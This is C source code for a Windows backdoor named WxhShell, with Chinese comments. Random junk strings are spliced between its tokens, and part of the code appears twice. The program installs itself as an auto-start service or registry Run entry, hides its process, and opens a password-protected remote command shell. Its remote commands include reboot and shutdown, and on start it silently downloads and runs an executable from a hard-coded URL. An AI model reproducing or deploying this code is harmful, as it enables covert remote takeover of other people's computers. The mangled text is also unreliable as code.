(GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "~,(Xa3x NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f*R_\ G%x,t- if (!NtQueryInformationProcess) return 0; K+aJ`V Q*{ H] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a1Y _0 if(!hProcess) return 0; @+Anv~B. CB7R{~
$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^
8Nr %NJ k3htHCf*G$ CloseHandle(hProcess); HpgN$$\@ !C)> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =<tJAoVV if(hProcess==NULL) return 0; -:1Gr8 w]}cB+C+l# HMODULE hMod; t+Tg@~K2[> char procName[255]; u[% J#S unsigned long cbNeeded; 6T'43h. : 3By>t!~Q if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "9Fv!*<-W @0x.n\M_ CloseHandle(hProcess); E4fvYV_ra vXWESy if(strstr(procName,"services")) return 1; // 以服务启动 Dqo:X`<bT qi5>GX^t]b return 0; // 注册表启动 g_U*_5doA } ^O\1v w}KcLaI // 主模块 z%-"'Y] int StartWxhshell(LPSTR lpCmdLine) :r|P?;t( { p`V9+CA SOCKET wsl; j?` D\LZhf BOOL val=TRUE; ?9.? w-Q' int port=0; nd9-3W struct sockaddr_in door; IU"!oM ^ q|Tk+JH{5 if(wscfg.ws_autoins) Install(); mjJlXA SEn8t"n port=atoi(lpCmdLine); <PA$hTYM pmXWI`s if(port<=0) port=wscfg.ws_port; |r*1.V( a/xCl
:=8q WSADATA data; o~z.7q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; '{_tDboY AT8,9 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; peP:5WB setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :zk.^q door.sin_family = AF_INET; \V7x3*nA door.sin_addr.s_addr = inet_addr("127.0.0.1"); er}'}n`@q door.sin_port = htons(port); P_}_D{G k/f_@8 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m>m`aLrnb closesocket(wsl); 4w return 1; SodW5v a } ToCfLJ?{ Y- 9j2.{ if(listen(wsl,2) == INVALID_SOCKET) { pF{Ri closesocket(wsl); &b:Zln.j return 1; #B{F{,vlu, } =$`")3y3 Wxhshell(wsl); 2/W0y!qh1 WSACleanup(); e&I.kC"j6 R~u7;Wv return 0; :=KGQ3V~eK ry=[:\Z~ } [+2^n7R ]5MRp7 // 以NT服务方式启动 fN/KXdAy& VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O4+w2'., { Ki6BPi^ DWORD status = 0;
6}ewBAq% DWORD specificError = 0xfffffff; /IR5[67 [&59n,R` serviceStatus.dwServiceType = SERVICE_WIN32; )"Yah serviceStatus.dwCurrentState = SERVICE_START_PENDING; zL=I-f Vq serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e5y`CXX serviceStatus.dwWin32ExitCode = 0; W`rE\P serviceStatus.dwServiceSpecificExitCode = 0; {twf7.eY serviceStatus.dwCheckPoint = 0; {+59YO serviceStatus.dwWaitHint = 0; nK;
rEL 81 Not hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oieLh"$ if (hServiceStatusHandle==0) return; R1rfp; p_y*-,W
( status = GetLastError(); tg4&j$ if (status!=NO_ERROR) ph. :~n>z { $BN+SD! serviceStatus.dwCurrentState = SERVICE_STOPPED; (9QRg; serviceStatus.dwCheckPoint = 0; ;(Va_
serviceStatus.dwWaitHint = 0; w9}IM149 serviceStatus.dwWin32ExitCode = status; W..>Ny;'3 serviceStatus.dwServiceSpecificExitCode = specificError; Ji:@z%osr SetServiceStatus(hServiceStatusHandle, &serviceStatus); B}bNl 7
~ return; Cd*C^cJU&z } )x $Vy= |iThgq_\z serviceStatus.dwCurrentState = SERVICE_RUNNING; f\_Q+!^ serviceStatus.dwCheckPoint = 0; y(g
Otg serviceStatus.dwWaitHint = 0; `
R-np_ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Rla*hc~ } `t"Kq+ X'p%$HsMG // 处理NT服务事件,比如:启动、停止 [aUT # VOID WINAPI NTServiceHandler(DWORD fdwControl) T7X2$ ' { $G.|5sEk switch(fdwControl) U9%nku4 { /R?uxhV case SERVICE_CONTROL_STOP: f;6d/?= ~ serviceStatus.dwWin32ExitCode = 0; =?x=CEW serviceStatus.dwCurrentState = SERVICE_STOPPED; \M^4Dd Ay serviceStatus.dwCheckPoint = 0; Q|r1. serviceStatus.dwWaitHint = 0; TuR?r`P% { FC.-u"V SetServiceStatus(hServiceStatusHandle, &serviceStatus); OF}_RGKg3 } TW?
MS em return; 4IpFT; `q case SERVICE_CONTROL_PAUSE: ,)m-nZ5 serviceStatus.dwCurrentState = SERVICE_PAUSED; vUExS Z^ break; l$@lk?dc case SERVICE_CONTROL_CONTINUE: y$W3\`2q serviceStatus.dwCurrentState = SERVICE_RUNNING; ZPFTNwf break; q&x#S_! case SERVICE_CONTROL_INTERROGATE: "lAS
<dq break; FV,SA3 }; S'fq/`2g6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); NX/)Z&Fx: } !y0
O['7 bm|8Jbsb& // 标准应用程序主函数 jt*@,+e| int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Jx7^|A { 'S>Jps@ LZ$!=vg4 // 获取操作系统版本 Qk?Jy<Ra OsIsNt=GetOsVer(); =v;@w$# GetModuleFileName(NULL,ExeFile,MAX_PATH); 9&jNdB 3mpjSL // 从命令行安装 _3JTHf<+ if(strpbrk(lpCmdLine,"iI")) Install(); CKx}.<_ .w"O/6." // 下载执行文件 M6n.uho/ if(wscfg.ws_downexe) { I#%-A if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z0^do WinExec(wscfg.ws_filenam,SW_HIDE); >eI(M $ } epe}^Pl Q4 S8NqE if(!OsIsNt) { JE!Xf}nEi // 如果时win9x,隐藏进程并且设置为注册表启动 ~<-h# B HideProc(); an@Ue7 StartWxhshell(lpCmdLine); 4\iQ%fb } ;bmd<1 else :a`m9s 4 if(StartFromService()) HRh".!lxy // 以服务方式启动 o$;x[US StartServiceCtrlDispatcher(DispatchTable); 6jA Q else 4,8 =[ // 普通方式启动 j'cS_R StartWxhshell(lpCmdLine); wVX0!y6 ->UrWW^ return 0; v.J#d>tvf } zc5_;!t 1Zzw|@#>o UNHHzTsr? tc Z~T =========================================== ggWfk NmXTk+,L# oyY,uB.| ^%.<(:k[L \Ld7fP UNae&Zir " XFYl[?`G X8TZePh #include <stdio.h> [0emOS #include <string.h> 6cvm\opH #include <windows.h> 4kEFbzwx #include <winsock2.h> ^~$
o-IX #include <winsvc.h> KYaf7qy] #include <urlmon.h> D=$<Ex^p Zl*!pQ #pragma comment (lib, "Ws2_32.lib") 1-fz564 #pragma comment (lib, "urlmon.lib") bzS [X _BV:i:z #define MAX_USER 100 // 最大客户端连接数 YXEZ&$e' #define BUF_SOCK 200 // sock buffer jXQ_7 #define KEY_BUFF 255 // 输入 buffer
I._=q a;sZNUSn #define REBOOT 0 // 重启 ?u|g2!{_ #define SHUTDOWN 1 // 关机 >F
v8 - AseY.0 #define DEF_PORT 5000 // 监听端口 {cFei3'q [z9i v~ #define REG_LEN 16 // 注册表键长度 <Lt$qV-# #define SVC_LEN 80 // NT服务名长度 TMrmyvv '}=M~ // 从dll定义API pOXEM1"2A typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W*2SlS7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ' wEP:} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]n_A~Yr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jEadVM9 Et(prmH // wxhshell配置信息 P:+:Cm< struct WSCFG { Syb:i(Y int ws_port; // 监听端口 iGIaZ!j aW char ws_passstr[REG_LEN]; // 口令 {iRNnh int ws_autoins; // 安装标记, 1=yes 0=no 622).N4 char ws_regname[REG_LEN]; // 注册表键名 pWqahrWh char ws_svcname[REG_LEN]; // 服务名 SzDi=lY char ws_svcdisp[SVC_LEN]; // 服务显示名 *SZ<ori char ws_svcdesc[SVC_LEN]; // 服务描述信息 e;$s{CNo char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xnTky1zq int ws_downexe; // 下载执行标记, 1=yes 0=no N
Jf''e3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D{mu2'q char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hI
yfF %k~=iDk@ }; }z[se)s Ic*Q(X // default Wxhshell configuration u|C9[( struct WSCFG wscfg={DEF_PORT, f]EHDcC3X "xuhuanlingzhe", vzU %5, 1, [,c>-jA5 "Wxhshell", 20qT1!ju "Wxhshell", PSE![whK "WxhShell Service", 7?4>' "Wrsky Windows CmdShell Service", Ni`qU(I'| "Please Input Your Password: ", 1/ HofiIa 1, JQb]mU%? "http://www.wrsky.com/wxhshell.exe", KK?}`o "Wxhshell.exe" ?$?Ni)Z }; 4d#W[ 7Vi[I< * // 消息定义模块 o7 kGZ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g!8-yri char *msg_ws_prompt="\n\r? for help\n\r#>"; 9}=Fdt char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;O CYx[| char *msg_ws_ext="\n\rExit."; G8SJ<\? char *msg_ws_end="\n\rQuit."; p=zjJ~DVd char *msg_ws_boot="\n\rReboot..."; U*Q$:%72vO char *msg_ws_poff="\n\rShutdown..."; pd|s7 char *msg_ws_down="\n\rSave to "; 9Ah4N2nL-b q#Bdq8 char *msg_ws_err="\n\rErr!"; nm)F tX|A char *msg_ws_ok="\n\rOK!"; CAX U
# ("{'],> char ExeFile[MAX_PATH]; /1Eg6hf9B int nUser = 0; 8WvT0q>] HANDLE handles[MAX_USER]; @!S5FOXipZ int OsIsNt; ~Oq(JM
$M '&`Zy pq SERVICE_STATUS serviceStatus; *]LM2J SERVICE_STATUS_HANDLE hServiceStatusHandle; NH{0KZ
R 30<^0J.1 // 函数声明 bV"0}|A~K int Install(void); :KQ<rLd int Uninstall(void); =hA/; int DownloadFile(char *sURL, SOCKET wsh); oyUf/Sl int Boot(int flag); 6|zA,-= void HideProc(void); 0P|WoCX int GetOsVer(void); d-Sm<XHu. int Wxhshell(SOCKET wsl); j8lbn |. void TalkWithClient(void *cs); js{ RaR= int CmdShell(SOCKET sock); ]!/1qF int StartFromService(void); &0
@2JS/! int StartWxhshell(LPSTR lpCmdLine); I*X|pRD +2vcUy VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +iXA|L9= VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5yry$w$G) P^
a$? // 数据结构和表定义 4`i_ 4&TS SERVICE_TABLE_ENTRY DispatchTable[] = 3h4>edM { 8NLk`/ {wscfg.ws_svcname, NTServiceMain}, Eq|_>f@@8 {NULL, NULL} BUtXHD }; {9z EnVfg 4u<oe_n // 自我安装 t({:TQ int Install(void) nF)|oA { \=.iM?T char svExeFile[MAX_PATH]; !nTq"d%(W HKEY key; W<~(ieu:K~ strcpy(svExeFile,ExeFile); km *$;Nli j}y" // 如果是win9x系统,修改注册表设为自启动 smSUo/ if(!OsIsNt) { )#1@@\< ^T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,ujoGSx} RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lOVsp# RegCloseKey(key); (mv8_~F0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z
yIn>]{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3o z] RegCloseKey(key); (`T:b1 return 0; 8tsW^y;S } I(C_}I>Wb } LNe-]3wB } eOS#@6U=u else { N/Z<v* i" g4Tc (k# // 如果是NT以上系统,安装为系统服务 "BK&C6] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t/HE@xPxI5 if (schSCManager!=0) )jnxR${M { :Vv=p*~ SC_HANDLE schService = CreateService 7dAa~!/( ( &QvWT+]c'0 schSCManager, IXg0g<JZ wscfg.ws_svcname, @@+\ wscfg.ws_svcdisp, `/"TYR% SERVICE_ALL_ACCESS, S/8xo@vct] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d<xBI,g SERVICE_AUTO_START, @dGj4h. SERVICE_ERROR_NORMAL, =*}|y;I svExeFile, R`Q9|yF\ NULL, J PmW0wM NULL, h T4fKc7P NULL, u" nyx0< NULL, EyozhIV NULL i: 1V\q% ); Tf` ~=fg% if (schService!=0) zDC-PHFHQ { rqifjsv CloseServiceHandle(schService); [9X1;bO#f CloseServiceHandle(schSCManager); mim]nRd2v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
dY|( strcat(svExeFile,wscfg.ws_svcname); i,,U D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nXXyX[c4e RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y*J,9 RegCloseKey(key); CJ?Lv2Td return 0; \=1k29O } =Bl#CE)X } UDhW Y.`'~ CloseServiceHandle(schSCManager); 5X'[{'i, } #k*e>d$ } &vo]l~. ;4%^4<+3 return 1; Sa6}xe."M, } N_h)L` 2UA h^i-^ // 自我卸载 "|(+~8[ int Uninstall(void) n hS=t8H { |K7JU^"OQ HKEY key; d.sxB}_O C}%g(YRhb if(!OsIsNt) { 6*Rz}RQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jva&"}Cb RegDeleteValue(key,wscfg.ws_regname); [Cvo^cC RegCloseKey(key); hK3?m.>"g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .(`#q@73 RegDeleteValue(key,wscfg.ws_regname); [T.kwQf4$ RegCloseKey(key); D>PB|rS@ return 0; Jk 0;<2j } ^I@43Jy/ } [{L4~(uU8 } }"E?#&^ else { !Hxx6/ t /1KKEZM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }hhDJ_I5M if (schSCManager!=0) :voQ#f= { Sm{idky)[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ["kk.*& if (schService!=0) uveTx { AKejWh if(DeleteService(schService)!=0) { {O[a+r.n CloseServiceHandle(schService); N.l+9L0b CloseServiceHandle(schSCManager); /V^Gn; return 0; >XM-xK-= } ,aU_bve CloseServiceHandle(schService); ^3^n|T7le } "oz qfh CloseServiceHandle(schSCManager); c\065#f! } >iDV8y } `a*[@a# Tm
6<^5t return 1; S)T~vK(n } iG!tRNQ{y g kT`C // 从指定url下载文件 cR*D)'/tl int DownloadFile(char *sURL, SOCKET wsh) ~K 5eO- { ia?{]!7$ HRESULT hr; 4 bw8^ char seps[]= "/"; !"Jne'f char *token; Ivmiz{Oii char *file; lQ
{k char myURL[MAX_PATH]; .i)
H1sD char myFILE[MAX_PATH]; <j+DY@* bx#GOK- strcpy(myURL,sURL); /PafIq token=strtok(myURL,seps); ZBUEg7c while(token!=NULL) ~xerZQgc { Rt} H.D
# file=token; zW+X5yK token=strtok(NULL,seps); m0DD|7}+ } %wzDBsX _
fJ5z GetCurrentDirectory(MAX_PATH,myFILE); 8M<q-sn4B strcat(myFILE, "\\"); 2v\,sHw+- strcat(myFILE, file); `q@5d&d`j send(wsh,myFILE,strlen(myFILE),0); 0z1m!tr send(wsh,"...",3,0); B4Ko,=pg hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W<_9*{|E; if(hr==S_OK) R*|y:T,H return 0; 5|z>_f.^pS else &@p _g8r# return 1; c6.S jV OGpy\0% } ">_<L.,I %
P
.(L // 系统电源模块 K%h9'}pq>1 int Boot(int flag) SaceIV%( { V3r1|{Z( HANDLE hToken; lI~T>Lel2 TOKEN_PRIVILEGES tkp; _4Z|O] jM]B\cvN if(OsIsNt) { Aru=f~! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FOV%\=Hl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C-O~Oi l tkp.PrivilegeCount = 1; <#/r.}.x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (&t741DN| AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HI&N&a9C if(flag==REBOOT) { xMsSZ{j%5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (cAWT, return 0; 50kjX} } gT8Q:8f: else { 8S/SXyS if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *'[8FZ|dQ return 0; {BPNb{dBKr } B?n
6o|8 } {| ~ else { Kcf1$`F24 if(flag==REBOOT) { J< Ljg<t+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *9Ta0e* return 0; w{TZN{Y } @pq2Z^SQ H else { $1lI6 =
, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mWEaUi)Zz return 0; l ld,&N8 } +5~5BZP } J,q6 9bu}@#4* return 1; K
?uHAm } jEU`ko_ Xf
0)i // win9x进程隐藏模块 X%JQ_Z void HideProc(void) 3<F\5| { .Z?@;2<l T<XGG_NOl HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3mef;!q if ( hKernel != NULL ) 8[v9|r { y950Q%B] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GO&~)Vh&7 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .kwz$b+h FreeLibrary(hKernel); >I*)0tE } ={g.Fn(_ t"# .I?S0 return; w1;:B%!H } *~Y$8!ad r7|_Fm Qf // 获取操作系统版本 j}s<Pn%4 int GetOsVer(void) : ;l9to { ]? 2xS?vd OSVERSIONINFO winfo; s|HpN winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lB)%s~P:s GetVersionEx(&winfo); +9 gI^Gt if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "2'4b return 1; IhR;YM[K else pzr\<U` return 0; &<dC3o! } )}!Z^ND* oz8z%*9( // 客户端句柄模块 #Sg< 9xsW int Wxhshell(SOCKET wsl) &,*G}6wa;& { Q+<{2oVz SOCKET wsh; FT'2J struct sockaddr_in client; p9X{E%A<: DWORD myID; r<MW8 [KcF0%a while(nUser<MAX_USER) uy'I#^Bt { ;r8<
Ed int nSize=sizeof(client); OKo)p`BX wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |-)2 D=P if(wsh==INVALID_SOCKET) return 1; 3[{RH*nHD *C~$<VYI handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2.p?gRO if(handles[nUser]==0) n3z]&J5fr closesocket(wsh); Z-U-n/6I else WMi$ATq nUser++; >PbB /-> } ~SzHIVj:6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dgEH]9j& W^e"()d/Z
return 0; wjzR 8g0bQ } /`kM0=MMa <Jc
:a?ICe // 关闭 socket %VH{bpS|i: void CloseIt(SOCKET wsh) ?zpN09e { 6lAHB*` closesocket(wsh); 'G)UIjl nUser--; QJ4=*tX) ExitThread(0); D[H #W[ } eo [eN. U0m 5Rc // 客户端请求句柄 c3__=$)'kP void TalkWithClient(void *cs) zk++#rB { Hd_W5R zNo>V8B( SOCKET wsh=(SOCKET)cs; 1CmjEAv%/ char pwd[SVC_LEN]; ).$q9G char cmd[KEY_BUFF]; ,&F4|{ char chr[1]; EP'I int i,j; <$>Jsv Bj`ZH~T while (nUser < MAX_USER) { x{_3/4 h uIvXl if(wscfg.ws_passstr) { vT=?UTq if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k.n-JS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }lQ`ka //ZeroMemory(pwd,KEY_BUFF); 4\Q
pS i=0; ix+sT|> while(i<SVC_LEN) { 0ZAT;ea B <=Z`]8 // 设置超时 Jfs_9g5 fd_set FdRead; ,ZWaTp*D/ struct timeval TimeOut; rtn.^HF FD_ZERO(&FdRead); nj4G8/U-q FD_SET(wsh,&FdRead); I.>SC TimeOut.tv_sec=8; I]iTD TimeOut.tv_usec=0; Yw6^(g8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ($T"m-e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); elDt!9Pu _&R lR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #qDMUN*i pwd=chr[0]; (:r80: if(chr[0]==0xd || chr[0]==0xa) { %~rXJrK pwd=0; MJ_]N+ break; )|N_Q} } V`& O` i++; i"RBk% } g4f:K=5: o,gH* // 如果是非法用户,关闭 socket 8`B]UcL) if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *Sw1b7l } jU2vnGw_ MO-7yp:K send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }UzRFIcv send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w!--K9 :406Oa while(1) { SCL8.%z D /v-:ca)7mI ZeroMemory(cmd,KEY_BUFF); IBm"VCg{Ew _q
z^|J // 自动支持客户端 telnet标准 _j sJS<21 j=0; 6F:<c while(j<KEY_BUFF) { x^V9;V@6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ftw;T| cmd[j]=chr[0]; Q:^.Qs"IK if(chr[0]==0xa || chr[0]==0xd) { oD.[T)G? cmd[j]=0; ~\khwNA
break; O.z\
VI2f } dxi5p!^^9 j++; $mu*iW\{ }
!m:rtPD' 0^9%E61YR // 下载文件 nvbKW.[<f{ if(strstr(cmd,"http://")) { s9[547?` send(wsh,msg_ws_down,strlen(msg_ws_down),0); zEy,aa:M if(DownloadFile(cmd,wsh)) TjY-C m send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kd!.sB/% else z,K;GZuP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =berCV } cH48) else { 0WI@BSHnM HY2*5#T switch(cmd[0]) { 7'zXf)! NbPNcjPL // 帮助 jz$ ]"\G# case '?': { ;!(GwgllD send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9/#?]LJ break; Xy]Pmt } yvIzgwN%s! // 安装 P$#{a2 case 'i': { SX]uIkw if(Install()) 5j~1%~,# send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,X}Jpi;/ else wAKm]?zB> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bdr'd? u<A break; &w%--!T } 5>\~jf // 卸载 )>;V72 case 'r': { 952l1c! if(Uninstall()) *; :dJXR send(wsh,msg_ws_err,strlen(msg_ws_err),0); oM(8'{S= else }l7@:ezZZ7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :^rt8>~ break; 0b(x@> } h.jO3q // 显示 wxhshell 所在路径 s8.SEk|pB case 'p': { SLU$DW;t char svExeFile[MAX_PATH]; C K9FAuU strcpy(svExeFile,"\n\r"); G\(cnqHk strcat(svExeFile,ExeFile); 7m4*dBTr send(wsh,svExeFile,strlen(svExeFile),0); {RC&Ub> break; :5[1Iepdn } @! {Y9k2 // 重启 e+<'=_x { case 'b': { .]YTS send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7q(A& if(Boot(REBOOT)) a.2Xl}2o5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); =/Ph]f9 else { IXv9mr?H} closesocket(wsh); A)_HSIVi ExitThread(0); K~6u5 a9s } RXRoMg!-P break; T# .pi@PF> } l i)
5o // 关机 UY(\T8 case 'd': { F R(k==pZ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hn=tSlte if(Boot(SHUTDOWN)) -*$ s ;G# send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zo<j"FG else { hQ (84u closesocket(wsh); t76B0L{ ExitThread(0); ^X;p8uBo } 6aKfcvf & break; nc^DFP } +_1sFH` // 获取shell weH3\@ case 's': { UDW_?SHAx CmdShell(wsh); g#:P cl closesocket(wsh); [\e/xY(4 ExitThread(0); JbAmud, break; SQDfDrYP } rXR!jZ.hi // 退出 g OK case 'x': { $`[TIyA9! send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DY\~O CloseIt(wsh); GH \
Sy break; =O3)tm; } yoH,4,! G // 离开 MML=J~1 case 'q': { %-woaj send(wsh,msg_ws_end,strlen(msg_ws_end),0); /2'l=R5# closesocket(wsh); A(*c|Aj9 WSACleanup(); E>iN > exit(1); xqb*;TBh* break; 3EHB~rL/C } :(iBLO<x } "hk {"0E } xp}M5| wJC F"e // 提示信息 erhez if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @`qB[<t8:< } d ehK#8 } Xe&p.v qKrxln/T return; EbG&[v } @H8DGeM (K_{a+$[ // shell模块句柄 V8Ri2&|3 int CmdShell(SOCKET sock) c \;_jg { _2Mpzv STARTUPINFO si; U C_$5~8p ZeroMemory(&si,sizeof(si)); J0Gjo9L si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zo,066'+[. si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YmCu\+u PROCESS_INFORMATION ProcessInfo; GT<!e]=6 char cmdline[]="cmd"; /;kSa}"Q CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aS``fE;O return 0; |`xM45 } RO@=&3s hd]ts. // 自身启动模式 R?IRE91 : int StartFromService(void) Y?3f
Fg { [+_>g4M~% typedef struct 4fL`.n1^ { g^^pPVK_ DWORD ExitStatus; VVDW=G DWORD PebBaseAddress; IdM~'
Q>\ DWORD AffinityMask; >g m DWORD BasePriority; !ewT#afyu( ULONG UniqueProcessId; rsq?4+\ ULONG InheritedFromUniqueProcessId; ac\( [F- } PROCESS_BASIC_INFORMATION; Gt+rVJ=v o7s!ti\G PROCNTQSIP NtQueryInformationProcess;
kD0bdE| +I?k8',pi static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4,>9N9.?9 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P)cEYk !6x7^E;c HANDLE hProcess; CW2)1%1iz PROCESS_BASIC_INFORMATION pbi; =t`cHs29 }*C*!?pcd HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3I(;c ,S if(NULL == hInst ) return 0; K:^0*5Y-k `2hg?(ul g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w {"1V7| g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0?}n( f!S NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &36SX<vZ KK6n"&TVa if (!NtQueryInformationProcess) return 0; wSw> UU 6']HmM hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )XHn.>]nc if(!hProcess) return 0; U
E$Ix XMiu}w! if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lB0`|UEb ( 0)M8Tm0$ CloseHandle(hProcess); R8_I ASs l*6Zh"o: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tJ
2GSZ` if(hProcess==NULL) return 0; .`Q^8|$-K tbWfm5$ HMODULE hMod; {VKFw=$8 char procName[255]; ]Axz}: unsigned long cbNeeded;
